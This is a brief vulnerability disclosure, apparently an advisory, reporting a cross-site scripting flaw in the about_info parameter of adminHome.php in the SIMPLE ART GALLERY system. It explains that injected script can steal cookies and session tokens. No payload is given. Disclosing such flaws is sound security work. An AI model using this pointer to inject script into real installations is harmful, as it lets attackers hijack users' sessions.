

# **SIMPLE ART GALLERY system has Cross site scripting vulnerabilities**

SIMPLE ART GALLERY system has Cross site scripting vulnerabilities. This vulnerability is located in the about\_info parameter of adminHome.php. An attacker can use XSS to send malicious script users to unsuspecting people. The end user's browser has no way of knowing that the script should not be trusted and will execute the script. Because it considers the script to be from a trusted source, the malicious script can access any Cookie, session token, or browser and be used with the site. These scripts can even rewrite the content of a web page
